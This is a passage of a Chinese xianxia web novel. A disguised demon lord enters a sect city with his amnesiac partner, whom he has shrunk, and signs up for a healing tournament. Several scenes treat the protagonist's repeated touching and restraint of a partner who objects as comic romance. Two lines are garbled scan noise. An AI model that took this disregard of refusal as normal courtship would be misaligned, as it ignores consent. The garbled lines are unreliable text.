屠天霸一个狸猫翻身,登时就从躺靠的姿势变成蹲在男人身前,两只手仍分别留在对方的膝头,以及卷绕着发丝.… 他上身逼近,将鼻子凑到男人白皙的颈侧,指尖也撩了几下对方的发根,登徒子般地闭眼深嗅了一口。 尽管男人沦为凡人,但这具身体修行的年岁无比漫长,早就剔去了杂质…… 汗味很浅,不臭。 他身上真的有一股很淡的香味。 男人微微后靠,跟他拉远了距离,还在说,“你正经些,我在问你……”屠天霸哪有心思听这些,嗯嗯啊啊地胡乱应了几声,文不对题不说,敷衍之意藏都不藏了,直接摊在明面上。 “你问,你问,我再闻一下。” 说着话,他搭在男人膝头的那只手又很不规矩地蹭了好几下,中指和食指无师自通地往男人折叠的膝弯钻。 阿洄问不下去了。 不仅如此,他的汗毛都快竖起来了。 尽管少年嘴上数次以‘丈夫’自称,阿洄却无法坦然地将对方看作丈夫,偏偏对方总是动手动脚,想方设法地跟他亲近。 想要跟自己双修的意图也从不掩饰。 虽然他们二人是道侣,但失去记忆的他暂时不能接受此时这般、这般…… 男人的后背抵着舟壁,上身微微向后仰去,脑袋也偏向一侧,而他身前的蹲姿少年不容拒绝地逼近,莫名给人以一种压迫感。 阿洄感受到对方钻到他膝弯中的手指正一下下地…… 若两人是刚认识的陌生人,少年这番举动绝对是下流行径,可阿洄一心感念对方的搭救,还通过法术转移了自身的疼痛,便压着反击本能,企图将事态拉回正规。 "小修,你听我说——" 下一瞬。 就听少年发出一声怪叫,埋首于他的颈侧,深深的呼吸带动气流,喷洒在他的肌肤上,分外明显。 “嗯嗯哈,你说你说,你好香啊。” 阿洄:……" 阿洄:……你别,别这样。” 不知为何,当男人说出这句话之后,屠天霸只觉得浑身都热了起来,连呼出来的气都快要烧起来了。 他低头看了一眼,如实地问道: “你是不是给我下媚药了?” 男人忽然被盖了好大一顶帽子,清正淡然的表情已经稳不住了,面色也涨红了好几分,压根说不出实情。 他能说什么? 说少年的喜好异于常人? 说自己的身体勾起了他的欲|念? ……没脸说。 见少年又要凑上来,阿洄实在有些受不了了,狠下心扭回脸,嘴唇几乎是撞上了他的脸,一口吻在他鼻梁的那颗痣上。 果不其然。 屠天霸像受惊的兔子一样跳了起来。 他整个人蹲在飞舟的壁沿上,高高的马尾几乎都炸起来,被风吹得缭乱,在他身后晃晃悠悠,仿佛兽类的长尾。 屠天霸捂着自己的鼻子,两眼直瞪,怒气冲冲地指着男人,质问道: “你干什么偷袭我?!” 他这声喊得中气十足,那张圆鼓鼓的脸却红得快冒出白烟来,怎么看怎么气虚。 阿洄:“.…. 我才是那个被轻薄了的人罢? 就这样, 一艘飞舟,载着两个红脸的人飞到了妙仙宗附近的永歌城。 175、Chapter 175… 两人抵达永歌城的时候,天刚破晓。 虽说正道宗门以归清门为首,但妙仙宗亦是延续了千年的大宗门,因擅长医术而与各大门派交好,护山大阵便是出自于万法宗宗主之手,坚不可摧。 据说大乘期修士才能破开阵法。 只是此举无异于与妙仙宗结仇,而妙仙宗握有诸多门派的传讯玉简,门下弟子更是分为医派与武派,不乏自保之力。 医派弟子主修功德,入世行医,济世度人;武派弟子则进入门内的藏经阁挑选修炼术法,与医派弟子携手入世,相辅相成。 都说‘怀璧有罪,仅靠出神入化的医术,妙仙宗当然无法立世千年之久,除去医派与武派,外门弟子还掌管着俗世经营。 永歌城,正是妙仙宗辖下的繁荣城镇之一,城中修士与凡人共存,皆不在少数。 屠天霸三百年前来过此处,最终止步于妙仙宗的护山大阵。 如今三百年过去了。 对他来说,护山大阵已经不足为惧。 系统空间内。 与宿主神魂绑定——某种意义上,的确能被称之为‘心魔’的白色光球有些不放心宿主的脑回路。 在入城之前,袍确认道: “宿主,你打算怎么借续命梭?” 屠天霸迷茫:“?” 屠天霸应道:“直接借啊,不然呢?” 白色光球顿觉眼前一黑,并严重怀疑这个癫子其实是打算‘直接抢’吧? 情况不太妙。 原著中,主角被医修捡走之后,两人隐居在医修的地盘,很少接触外界人士,因此顾宸等人在仙门大比之后,才发现主角不知去向,几年遍寻不见。 可眼下…… 原著剧情早就歪得不能再歪了。 宿主非但没有带着主角隐居,还大咧咧地把人带来妙仙宗,撞上归清门一行人的几率极大,到时候身份指定露馅。 就算没遇上顾宸他们,妙仙宗的宗主跟主角可是多年的老相识啊! 白色光球只觉得心好累,连忙道出原著中涉及主角攻参加仙门大比这段剧情,提醒道:“宿主,你多少给主角做点伪装吧?” 万万没想到, 屠天霸满脸迷茫,听不懂他在说什么。 NO01的电子音很低沉, “……你该不会是跳着看的吧?你老实交代,眼睛是不是只盯着某些不可描述的片段看了?!!” 屠天霸面上没一丝丝心虚,反而理直气壮地反驳道: “这书写得太啰嗦,细枝末节的小人物如此之多,我哪里看得进去?匆匆扫一眼便是,谁还记得那许多?” NO01继续问, “那你记住什么了?” 屠天霸瞥了眼身边的男人,忍不住伸手勾起对方披散在身后的长发,转眼就编出了一条小辫子,无声应道: “双修啊,你不是让本尊完成指定任务吗?书中的屠医修用了一年多的时间才顺利双修,十天.…九天之后,本尊就能做到!” 他不满心魔的态度,警告道: “不要以为自己与众不同就屡屡质问本尊。” 飞舟悬于城镇上空,久久未落。 男人感应到头皮传来的轻微拉扯感,侧过脸看了一眼,发现是少年正在给自己编辫子,还在上面插了好几朵指盖大的野花…. 他没有开口阻拦,只是问了句, “我们不下去吗?” 想编辫子就编吧,起码不算轻薄之举。 问话时,男人不动声色地想着。 思绪刚一闪过,他就感受到少年的手掌不轻不重地在他腰背处碰了碰,还重点照顾了一番他腰侧的肌肉。 阿洄:"……." 他熟练地牵过少年的手,用自己的掌心包裹住,不让它受主人的驱使四处作乱。 屠天霸居然真的安静下来。 他注视着自己另一只手沾染的花汁,听到心魔的声音重新变得谄媚讨好,一个劲儿地劝道: “宿主,为了新的身体和双修,系统建议你还是低调一点哦,毕竟主角要是被发现了身份,有人想将他送回归清门怎么办?” “这可是夺妻危机呀!” 眼见宿主的脸色一下子黑下来,NO01生怕他凶性大发,把整个妙仙宗顷刻炼化,那还怎么继续扮演? 袍连忙献计献策: “为了尽早双修,还是多一事不如少一事比较好哦!统统我有一计.…….” 屠天霸放缓脸色, “说来听听。” 白色光球心累地擦了擦不存在的汗,暗暗庆幸:妈耶,还好原著小说目前显现的部分里,顾宸的戏份并不多,也没有揭露他才是主角攻…… 不然这人可能得横着出永歌城了。 随即,袍将自己的主意徐徐道来,“不如宿主也参加这一届的仙门大比吧?” 屠天霸一边听着,一边驱使飞舟下降。 他凝眸俯瞰永歌城,发现这座城比三百年前繁荣许多,城中修士的数量比一些小宗门还要多。 同时间。 心魔还在他耳边细说仙门大比一事。 顾名思义,这是正道门派联合举办的弟子赛事,散修也可以参加,只是需要亲身前往永歌城报名。过程中,掌管报名的弟子会用法器检验来人是否魔修。像这种正道赛事,不乏魔修伪装后跑来捣乱,亦或是诱惑正道弟子,乱了他们的道统。 机智心魔建议道: “宿主,普通寻医者可见不到妙仙宗宗主的,好在我之前给你修改过身体数据,除了之前撞见现场的女魔修,没人知道宿主是魔尊,你肯定稳赢的啦…”“妙仙宗底蕴强大,一早就公开表示在仙门大比获得第一名的修士,可以前往妙仙宗的聚宝库任意挑选一件法器。”“宿主先看看有没有可以代替续命梭的法器,若是没有,你再求见妙仙宗宗主,以法器换取借用续命梭一次的机会。”屠天霸听完,想抬手挠脸,忽然嗅到指尖花汁的味道,一言不发地将指头伸到男人面前,还往对方腿上扔了一块丝帕。 同时,他无声应道: “好麻烦啊,我还是直接借吧,我可以将储物袋中那些派不上用场的法器统统送给妙仙宗,换…” 话没说完,心魔当即劝阻道: “不行的啦!那些可都是死在魔尊屠天霸手下的正道修士的东西呀,虽然宿主不会被检测出魔气,可一旦拿出这些东西,还是很容易身份暴露的!” 屠天霸听得头都大了,顿时气闷。 原因无他。 阿洄看了看少年的手指,又看了看腿上的帕子,很快领会了对方的意图,不免觉得有些好笑,还有些不解。 只因从刚才起,少年表情屡次变化,一会儿瞪眼,一会儿黑脸,情绪明明白白地写在脸上,就是不知道他究竟在想些什么。 飞舟缓慢下落,底下的城镇随之变大。 阿洄用帕子替他擦拭着指尖花汁,思量片刻,还是直白地问道:“你在苦恼什么,不如同我商量?”屠天霸正跟心魔争论,闻言,随口甩出一句,“在想怎么借续命梭啦,好麻烦呀。” 阿洄微愣。 …原来是为了他的事。 下一瞬。 屠天霸嗅了嗅被擦拭干净的手指,开开心心地挠起了脸,烦躁的心情减去大半,他扭头望向男人,果断道: 半晌。 “放心,为了跟你双修,再麻烦我都会去做的!” 阿洄失语许久。 他与少年四目相对,并未在那双圆溜溜的杏眼中寻到让人不适的意味,偏偏对方渴望双修的意图丝毫不遮掩……… 他忍不住问了句, “为什么你如此执着于与我双修?” 屠天霸短暂地思考了一会儿。 为什么啊? 恍惚间,他的脑中闪过书中的一段话。 “…. 然而正当屠天霸开口要说的时候,飞舟猛地撞到了什么东西,底部传来一道剧烈撞击之感。 下一瞬。 半空中出现两道御剑的身影。 两位穿着青白衣袍,腰间挂着妙仙宗武派弟子玉牌的男子眉目严肃地问询道: “来者何人?” 话音刚落。 两人就见一位玄衣少年很懒散地盘腿坐在飞舟中,一手撑着下巴,另一只手虚虚地握成拳,掌心朝上地放在膝头。 其中一位弟子解释道: “正值仙门大比,为了防止魔修前来作乱,永歌城开启了法阵,所有人只能走正门进入永歌城,还请道友改道而行。” 见少年一个劲儿地盯着自己握成拳的那只手,一副没听到他们说话的模样,另一位弟子皱皱眉,补充道: “若是道友想要强闯,休怪我们不客气了。” 这时候,少年才抬起头,眨了眨那网双过分大的杏眼,连声应道:“啊,不好意思啦,我是一名散修,想要参加仙门大比,但不太清楚你们这边的规矩…….” “正门在哪儿啊?” 听少年这样说,守门弟子的脸色缓和许多,尽职尽责地为他指了个方向。 于是,少年驱着飞舟慢悠悠往正门方向驶去,他的背影清瘦,脑后的高马尾晃晃悠悠,额前的凌乱碎发也被风吹起来,张牙舞爪似的摇摆。两位守门弟子隐约听到一阵很怪异的笑声,还有很低的说话声, “这样,没人能抢走我的…….” “桀桀桀桀!不愧是我!!” 176、Chapter 176… 虽然不是第一次造访永歌城,但屠天霸还是第一次走正门。 城门正中的牌匾刻有妙仙宗独有的莲花徽记,暗纹在晨曦中折射出七彩光晕,熠熠生辉。屠天霸早就收了飞舟,两手空空地排起了队。他一身玄衣素净,脖子上却多了个以红绳悬挂的赤色锦囊。锦囊微鼓,安静地躺在他前胸处。 他梗着脖子将前后左右都看了一遍,发现周遭有许多面嫩的年轻修士,还有带着病患访问仙城的普通人……没人关注他,仿佛他只是个寻常路人。 守城修士后方立着一面人高的铜镜,入城之人必定会被照到,屠天霸不畏惧,抬手捏了捏胸前的锦囊,昂首阔步地迈进城门。 铜镜没有反应。 机智心魔乐滋滋地跟他邀功, “都说了系统出品,必属精品啦,宿主大可以放心,区区一个鉴魔镜是不可能突破系统的数据防线的啦!”“再厉害的修士也不行!”屠天霸也难得夸奖了几句, “不愧是我,居然滋生出这般能干的心魔,寻常魔修分明能够通过术法与法器掩盖浑身魔气,偏偏我不行…….” “如今城中的正道修士和凡人都视我如无物,真是清静啊!”他站在街边,神情满足,“每次出门都被人围攻,不然就是落荒而逃,我都看腻了。” 说完,他挠了挠脸,问心魔, “啊,刚才守门的那个人说散修要去仙灵广场报名,要往哪里走?话说永歌城以前有这么大吗?” N001是扮演系的攻略系统,对外功能十分有限,电子音顿时低了一个度, “这个,系统没有地图功能啦。” “不如宿主找人问问路嘛……” 屠天霸在心中冷哼一声,不搭理这没用的废物心魔了,他环视了一圈,发现这条街的医馆不在少数,门前都挂着张牌子 【内有法阵,禁止医闹。】 屠天霸从前踏遍了永歌城的医馆,如今却瞧不上眼了。毕竟他自己已经是个顶好的医修了,遇事不求人。 他略过这些医馆,脚下径直往街边一个包子铺走过去,开口就是要十个。 闻言,店老板打量了他几眼,主动打开笼屉,好心地道:“年轻人,你看,我家的肉包子个头这么大,价格也不便宜…….” 屠天霸顺着老板的话,低头看了一眼, “是不太够,还是二十个吧。” 他想了想,改口道: “加一个,要二十一个。” 店老板吃了一惊,但生意上门哪有往外推的道理,提醒一句已经是良心话了,他手脚麻利地包出二十个肉包,冲人报了个价, “共两百一十枚下品灵石。” 妙仙宗人杰地灵,永歌城是方圆最繁荣的城镇,更是由妙仙宗外门弟子担任城主一职,城中仙凡共存,交易货币也并非俗世金银,而是灵石。 屠天霸在袖里乾坤摸了好一会儿,很艰难地从一堆中品、上品、极品灵石里翻出一小堆下品灵石,数出两百一十枚,递交给店老板。 “喏。” 店老板看这少年面露难色,还以为他胃口大却囊中羞涩,没想到接过灵石一看,对方居然多给了十枚。 他是个诚信生意人,连忙将多出来的十枚递还给对方,老实道: “年轻人,你给多了。” 屠天霸揣着塞满一整个纸袋的包子,忽然听到废物心魔在他耳边小声问道: “宿主,你是不是……. 屠天霸:“不是。” “我还没说……” 屠天霸:“绝对不是。” 他啃了一口包子,忽然想起了什么,突然抬高声量冲店老板道:“因为包子太好吃了,所以多给了一些,你收着吧。”说话间,屠天霸的眼神一个劲儿地往下瞟,压根没看老板,反倒是像在看他胸前的赤色锦囊。“我这么聪慧的人,怎么可能输错灵石呢,呜哇,老板你家包子真好吃!”“好吃好吃,一口一个。” 店老板捧着多出来的灵石,看着少年转身就走的背影,满脸疑惑地小声嘀咕, "……但是你付钱的时候还没尝过我家的包子诶?" 居天霸恶狠很地咬了一口包子,决意往下一家烧饼店走去,一开口就是几人份的分量,然后眼也不抬地甩出明显超出物价的灵石数量,在店主欣喜若狂的眼神中,问到了仙灵广场的路线。系统空间内。 白色光球看着宿主脑袋上仿佛顶着“冤大头''三个字,但凡路过一家吃食店就大买特买,出手格外阔绰,仿佛是个不食人间烟火的世家公子。 白色光球:“…. 为了不数错钱,导致自己再次丢脸,所以起手直接翻倍付钱吗?……曜,三百二十七岁的青少年的自尊心真是太强了。屠天霸不知心魔腹诽。 他一路逛吃逛吃地来到仙灵广场。 广场周遭围了许多看热闹的人,指着里头的景象喋喋不休,嘴里全是关于此次仙门大比的新鲜事,很吵。 好在屠天霸很是习惯吵闹的氛围了,手一挥便将满怀的食物收入袖中空间,信步往广场中央走去。 “散修石玄一,筑基九层。” “这是你的玉牌,请收好。” 刚一走近,屠天霸就听到一道略显低沉的沙哑嗓音如此说道,语调平直无波。 随后,有排队的散修低声道: “居然是筑基九层?差半步结丹,未必不如那些门派的弟子。” “或许比小宗门的弟子好些吧,但大宗门底蕴可不是咱们散修能够比拟的,听说归清门有个不到百岁就结丹的天才…….” “哎,比不了啊。” 屠天霸站在人群后方,忽略这些轻声碎语,歪着脑袋往里看。 广场中央设置了一个法阵台,旁边摆了桌椅,桌后坐着一个身穿青白衣袍的中年男人,其身后又站着两个年轻弟子,显然是妙仙宗的修士。 被唤做‘石玄一的人接过玉牌,又听到身后一众散修的低声讨论,脸上泛着一抹很浅的笑,神情却是掩不住的得意。 下一个报名的散修紧跟其后,站入法阵中,很快就测出了修为等级,然后领着参赛玉牌离开。 很快,轮到屠天霸了。 他站在桌前,学着前人报出了自己的名字与所修炼的道统。 话音刚落。 桌后的中年男人眉一挑,忍不住抬眸看了眼身前的少年,平直的语气出现了些许波澜,“你说你叫屠医修,是个医修?”屠天霸点了点头。中年男人又问他,“是真名吗?” 屠天霸一生要强,却也知道聪慧如他,免不了有些小缺点,不答反问道:“不可以吗?” 中年男人似乎乐了,随口道:“可以可以,就是听起来像是胡乱取的,不太走心。”屠天霸:……" 下一瞬。 白色光球怕宿主一个不高兴,把本就不明朗的剧情走向搞得更加复杂,忙不迭扬着声儿骂道:“呸,真是没品的东西!” “品不到‘屠医修’这个名字的精妙之处的人有难了!”紧接着,中年男人又开口了, “小医修,仙门大比可是要斗法的,你一个医修上台,是想要挨揍吗?”屠天霸面无表情,不想理他,但还是信心满满地应了声, “就凭他们?” 不料,男人忽然自顾自地改了口, “唔…不过本届仙门大比由妙仙宗举办,所以今年多了一项医术比试,医修不必跟其他参赛者比术法,只是参加的弟子全都是妙仙宗的医派弟子,你可要加油了。”话罢,他示意屠天霸进入法阵。 就见阵光一闪,屠天霸走出法阵,中年男人递出一块录入了修士信息的玉牌,有些惊讶地道了声, “……又是一个筑基九层,不赖嘛。” 屠天霸接过玉牌,转身就走。 废物心魔在他耳边蛐蛐中年男子,屠天霸听了半路,脚下一拐,走进一家客栈,随手抛出一枚中品灵石,任小二领他上楼。 “宿主,你不要跟那个人一般见识!现在还是低调为主!” 屠天霸沉默许久,冷哼道: “虽然那人不及我,但也有些聪慧,居然怀疑我.……心魔,是不是你的伪装之法出了纰漏?” 他将自己的分析—道来, “那人先将医修比试一事按下不表,发现我不知道这件事后才说出来,在我进入法阵后还将单手背在身后,暗中结印,明显是在提防我。” “看来他是怀疑我乃魔修伪装,用手段躲过了城门口的鉴魔铜镜…“居天霸独自进入位于三楼的客房,继续道,“哼,那个检验法阵里藏了杀庵阵,可惜不管用。” “本尊强得可怕!” 系统空间内。 N001陷入一阵诡异的沉默。 ……不是,你居然有脑子吗?? 这不是很聪明吗!! 这忽高忽低的智商到底是怎么回事?! 听到宿主甩锅自己,N001欲言又止,不说袍难受,说了又会被这个癫子嫌弃——为什么怀疑你,你真的不知道吗? 就因为你那个破名字啊!!! 屠天霸不知心魔跌宕起伏如过山车一般的思绪,他没有把自己被妙仙宗的人怀疑当成一回事,说完就抛在脑后了。 他几步走到桌边,一屁股坐下,嘿嘿笑着解下挂在脖颈间的赤色锦囊,然后拉开抽绳,将里面的东西倒在自己手上。 是一个小小的人。 仙灵广场。 一个身着妙仙宗内门弟子服饰的青年乘着祥云赶来,落地便冲着桌后的中年男子连连告罪。“多谢徐阙师叔帮我,要不是您刚好在这儿,师侄都不知道该怎么办了…….徐阙不甚在意地摆摆手,“无事的话,我继续去加固法阵了。” 他站起身脱下外头那件青白衣袍,露出底下满是补丁的法衣,慢悠悠地走远了。 那青年抱拳恭送, …" “徐阙师叔慢走,多亏了您的法阵,永歌城上下都感念万法宗此义举!” 徐阙笑了笑,边走边掏出一块木牌,另一只手执毛笔在木牌上唰唰写下几个字 【内有法阵,禁止医闹。】 虽说妙仙宗底蕴深厚,但也无法为周遭的城镇设立守护法阵。 变故发生在三百年前。 某天,有一个状似癫狂的人突然出现在永歌城,一路闯进各家医馆,抓着妙仙宗入世行医的弟子就问, “我头好痛,你能不能治好我?” 那人满身魔气,血雾缭绕,真实面容隐藏在魔道法相之下,开口就是 “好多声音在我脑子一直喊,好吵,他们一直喊,一直喊,让我杀了你。” “” 后来,那人直闯妙仙宗的山门,险些破了妙仙宗的护山大阵。 再后来,他有了个响当当的名号。 魔尊,屠天霸。 绘嘤坪着认的相起万注宀通过快江王竺生近他 咋口连叫右工雪执咚下 麻 民工需心亚不缸G咛 徐阙摇着头,想起万法宗通过传讯玉简告诉他,昨日连戮峰有天雷劫降下,魔头屠天霸似乎不知所踪…… “哎,希望今年的仙门大比能够顺利进行,少些魔修来浑水摸鱼才好啊。” 177、Chapter 177.… 客栈三楼,某间屋内。 屠天霸将空瘪的赤色锦囊扔到桌上,整个人歪歪扭扭地坐着,尽管他上身压低,下巴抵在桌面,却仍旧俯视着掌心之物— 一个三寸小人。 小到可以被他拢在手心里。 小到可以被他一口吃掉。 小人裹着一身白衣,长发及臀,先前屠天霸手欠,给他编了好几条辫子,还往上插了许多小花,星星点点缀在脑后。 从头到脚都精致。 此人正是先前在飞舟上,猝不及防被身边人施了缩身法术,又被对方偷偷带入永歌城的阿洄。 “嘿嘿。” 屠天霸一指头将端坐的小人戳倒了,还恶作剧似的左右摇晃了两下,得意又张扬地笑了几声。 紧接着,他眼眸低垂,盯着慌忙中只能抱住自己大拇指的小人,忍不住感慨一声, "小小的也很可爱嘛。" 眼下的场景,那句 怎么逃都逃不出我的手掌心似乎化为了现实,居天霸无视了小人发出的细微声响,一个劲儿地戳、碰、揉、捏、抖、拎着抖、咯吱咯吱 不到半个时辰。 阿洄已经被折腾得没脾气了。 他的头发凌乱,衣服更是皱得不成样子了,此时正气喘吁吁地背对着少年,坐在对方的手心里,对身后的异响不闻不问。 “我戳!” “再戳!” 阿洄被戳倒,就地躺下。 他已经放弃‘爬起来,劝导对方将自己变回去,再次被戳倒 这个可悲的轮回了。 因为就算他这么说了,那人也只会假装没有听见,还抬手搭在自己耳边,此地无银三百两似的左右看看,嘴上还念叨着, “咦?有人在说话吗?” “没听见诶。” ……气人的小混蛋。 倒不如躺下休息一会儿。阿洄心想。 随后,他又忆起先前的点滴。 两人分明可以光明正大地入城,少年却在守城修士出现的刹那间,施法将他藏匿了起来……关于这一点,阿洄隐约有些猜测。如若他的猜测成真,难道不应该是少年藏匿起来,再由自己将他带入城中吗?尽管心中不解,但阿洄还是很配合地蜷缩着身子,一言不发地躺在锦囊中,亦将外界的声响听了个遍。莫名的,他心中隐约生出一股担忧。 万万没想到…… 待两人进了客栈,来到仅有他们二人的独处环境,少年压根不跟他商讨正经事,反倒饶有兴致地折腾他,宛如强大的猎兽抓到了一只没有反击之力的猎物,不急着撕咬吞食,只是用爪尖一下下地玩弄。——直至失去兴趣为止。 屠天霸看着自己怎么戳都不动弹的小小身影,兴致阑珊地叹道:“啊,你怎么不动了?动一下嘛。” “……. 先前小人一本正经地劝说他,屠天霸充耳不闻,现在对方沉默以对了,他倒不大高兴了。 说着话,他用指尖去扯小人的腰带和衣袖,“你不理我,我就把你脱光了哦。” “呜哇,好开心,你光溜溜的小屁股和小胸脯是什么手感呢?刚才隔着衣服什么感觉都没有……” 话音刚落。 屠天霸就看到小人侧卧的身姿唰的一下缩起来,变成了更小的一团,让自己无从下手,仅剩对方柔顺的发丝还缠着他的指节。 “……别。” 小人终究还是说话了,声量轻得可怜。 屠天霸无声窃笑,随即玩够了似的,神情餍足地坐直身,神念一动便解了缩身术。 下一瞬,盘卧在他手上的小人变回了原来体态高挑修长的男人。 男人蜷缩着,侧坐在他腿上。 跟中了缩身术的精致可爱不一样,恢复原貌的男人看上去有些狼狈。 他满脸通红,气喘不匀,不知是气的还是累的,但无论是哪种缘由,罪魁祸首一点也不心虚。 在那阵单方面玩闹中,男人的衣服乱得彻底。他的领口大敞着,那对笔挺的锁骨遮不住,还露了半边肩膀,而他正拽着自己被扯松的腰带,无心关注其他 于是,屠天霸探头往领口处瞥了一眼,语气笃定地道了声, “我果然还是喜欢大的!” 阿洄察觉到他的视线落点,积攒了大半个时辰的气快压不住了,当即系紧腰带,抬手推开少年凑过来的脑袋,气急道: “你能不能正经一点?” 屠天霸的脑袋没动,脸颊肉被他推得变了形,五官看上去很滑稽。他发自内心地问道:“我哪里不正经?” 为了双修,他真的已经很努力了。 阿洄:.……" 他的手掌有一半按在少年的唇上,因此当少年说话时,对方炙热的呼吸便不断喷洒在他的手掌边缘……. 很烫。 阿洄收回手,心中止不住的暗恼,不大想理这个人了,奈何对方来到此处都是为了自己,只好憋着气,让他拿出参赛玉牌。 屠天霸依言照做,顺便掏出了两个热气腾腾的包子,还问他, “你要不要?我专门给你买了一个。” 另外二十个都是他的。 不知道为什么,在他问完话之后,男人捏着参赛玉牌一言不发,屠天霸却觉得对方好像更生气了? 他啃着包子,有些不明所以。 参赛玉牌刻有妙仙宗的莲花徽记,参赛修士人手一个,兼顾了传讯,联络,定位等等功能。阿洄手上的玉牌左上角刻了个名字,正是那个假得不能再假了的名字。他实在不想回头,就用胳膊肘戳了戳那个人的肚子,那人居然懂了其中含义,抬手往玉牌里注入了一道‘灵息''。屠天霸是魔修,还是大乘期的魔修,浑身魔气阴森骇人,运功时,灵气皆会被他转转化为魔气。好在心魔为他做了伪装,他体内如今确实有了与筑基九层相对应的灵气。 不多,就一点。 跟他的魔息比起来,二者差距宛如汪洋大海与点滴泉水,中间能塞下一整个黑海。 玉牌微微发亮,显现出数行文字。 是仙门大比的详细消息。 各门派的比试要十天后才开始,但屠天霸被划进了医修之间的比试,玉牌显示的时间是三天后。 他不仅不用上比试台,连初始的题目都提早公布了— 届时,妙仙宗会开放后山密林,众医修弟子自行进入林中寻找材料,分别炼制一种毒药,及其解药。 炼制完,妙仙宗饮毒堂长老自有评判。 屠天霸只扫了一眼,就继续啃包子了。 男人仔细地看了两遍,回过头正要跟少年商量比试事宜,就见这人一副吊儿郎当的模样,忍不住又用胳膊肘杵他一下, “…你还没跟我说过打算怎么办。” 他顿了顿,很快补充道: “比试的时候,妙仙宗的几位长老都会在场,她们修为一定很高,到时候你……” 可惜他这句话还没说完,就听到身后少年很夸张地叫了一声,随即不高兴地瞪了他一眼,揉着肚子抱怨道: “你干什么一惊一乍的!” 阿洄:……"到底是谁一惊一乍的?他忍不住长叹一口气,在这短短的一天半中,他已经数次懊恼自己为何会失去记忆了。只是这口气没叹匀,一只手冷不丁地伸过来收走了玉牌,少年懒洋洋的声音也一同响起来,“你是在害怕自己死掉吗?我没什么想跟你商量的,也没什么“怎么办,反正你只要记住一句话…….”“——我肯定不会让你死的。” 掷地有声。阿洄愣了一下,恍然回首。少年的侧脸灵动极了,额前碎发很调皮地翘起来,左右晃悠了几下,却始终不肯落下来。他没有看向自己,而是很随意地盯着窗边的花枝摆件,手上还举着一个啃了小半的包子,说话时的语气很轻,却很笃定。像是随口所说的孩童戏言。 又似君子一诺千金,无端地让人信服。 但阿洄信了。 他沉默了片刻,表情莫名复杂,然后试探性地开口问道:“因为你还没有跟我双修过,所以绝对不会让我在此刻殒命,是这样吗……?” 系统空间内。 白色光球战术性后仰,语气叹服: “哦豁,主角居然学会抢答了。” 光屏中。 屠天霸心不虚,气不短,脸上还明晃晃地写着‘你好懂我 这句话,甚至重重地点了点头,表情严肃。 阿洄:“……. 担忧和怒气褪去,男人无言许久,惊觉自己竟还侧坐在少年的腿上,不由得面上一热,下意识就要起身。 其实他并非毫无察觉,只是此前那大半个时辰的折腾实在让人来气,再加上少年的言行举止向来毫无距离感…… 他昏了头。 屠天霸管他昏不昏,察觉到男人想要起身的第一时间,当即环臂勒住了那截劲瘦柔韧的腰身,将这人牢牢禁锢在自己的腿上。 软软的,热热的。 抱着他,比抱着熊皮舒服多了。 虽然屠天霸将人紧紧勒在自己腿上,但他忽然想起了什么,脸色一变,上身登时往后仰去,跟男人拉开距离,还满脸警惕地告诫道:“这回你休想偷袭我!!” 阿洄差点一口气没上来,忍不住掩面咳嗽了两声,脸上更加烫了。 实在是…… 腰间那条臂膀纤长有力,他无法撼动分毫,只好竭力忽略两人此刻的接触姿势,将话题拉回正题。“三天后,你参加比试之时,我是留在客栈内等你,还是……像入城门那般跟在你身边?”屠天霸将人缩小不为了别的,就是因为心魔说妙仙宗人多眼杂,免得男人暴露了身份,以至于他丢了妻子。在这种情况下,他怎么可能把人留在客栈里?跑了怎么办?被人偷了怎么办?屠天霸斩钉截铁地道:“自然是同我一起,你别想逃出我的手掌心!”说完,他还瞪了一眼男人,以示警告。 阿洄不知道少年为什么又开始吹胡子瞪眼了,却也习惯了对方这副神态,从善如流地提出了自己的所需。 ——他需要一个能跟少年在外心念沟通的法器。 说这话时,他敛着眸,侧身凝视着气鼓鼓地少年,意有所指地道了声, “这样你就不会听不清我说什么了。” 闻言,屠天霸的眼珠子一瞥,不看他。 阿洄看着他瞬间变换的表情,心中的气逐渐转化为无奈,继而又变成一阵好笑,忍不住抬手推了推他的胸膛,低声催促道: “……你放开我,让我起来。” 少年剧烈地抖动了一下,张牙舞爪地警告他, “不要摸我的胸脯!” 阿洄:“…” 他沉默了很久很久,久到屋子里的包子香气都散了个干净,才神色略显不自在地开口道:“再不放开我,我不但要亲你,还要抱你,摸你……” “害怕的话,就放开我。” 屠天霸冷脸盯着男人,满脸都是—— 你这人好歹毒! 说清楚,谁害怕了!! 然而,下一瞬。 屠天霸手一松,整个人蹿了起来,直接将男人拱出了自己的怀中,恶声恶气地嫌弃道: 怕欠晶华鞋祛#吧?,气么牛退汶样重,聘势神你山变石L“rT,心 心wUMKT. “你是猪精转世吗?怎么生得这样重,腿都被你坐麻了!” 阿洄:…………” 178、Chapter 178… 屠天霸啃完第二十一个包子,有些坐不住了——难得出门一趟,也没人认出他,这时候不出门逛街,还什么时候逛? 三天的空闲时间呢。 于是,屠天霸忽略了袖里乾坤的各类法器,兴致勃勃地冲桌对面的男人道了声: “你不是说想要一个传讯法器吗?这样吧,我现在就带你出去买,可别说我对你不好哦。” 阿洄的脸上仍有余温。 就这一会儿的功夫。 他已经垂着眸,饮下了数杯茶水。 闻言,他下意识地抬眼望向少年,只看到了满脸的贪玩意味,嘴上却一个劲儿地提醒自己记着他的好。 阿洄看他,像是在看一个调皮撒欢的孩童,心中时常想笑,或是无奈地摇摇头。 可少年并非一个天真烂漫的孩童,不仅将双修以及更加露骨的话语挂在嘴边,对自己的态度也毫无尊敬……… 正说着话,就抬手碰碰他这里,又碰碰他那里,手下也没轻没重。 比起摸,更像是捏。 阿洄心生不自在,却又无法抵抗。 气也气不动。更何况,但凡自己反手碰碰他,他就跟炸了毛的豹猫一般跳起来冲人吡牙,还瞪着那双圆溜溜的眼,反倒让阿洄莫名感到自己似乎做了什么天大的错事。真是没处说理去。 不过阿洄确实将少年对自己的好记在心里了,他思索片刻,同样不想困守在这间客房中,还不如外出了解一番城内境况,便点着头应允了。 下一瞬。 阿洄语速飞快地补充道,“道侣之间要相互尊重,你不许像先前那样作弄我了,也不要假装听不见我说话……” 屠天霸不吭声,眼珠子瞥向一边。 阿洄也算摸到了少年的几分脾性。 耳根子似乎有些软。 他沉默片刻,动作生涩地伸手去碰少年的纤细手腕,拇指在腕侧摩挲了几下,声调比之前更加轻柔, 吃软不吃硬。 “……你听见了没有?” 一阵麻意顺着腕部爬上手臂,蔓延到颈侧,屠天霸的半边身子又酥了,他忍不住唉哟了一声,整个人软趴趴地瘫倒在桌上。 麻得人使不出劲儿。 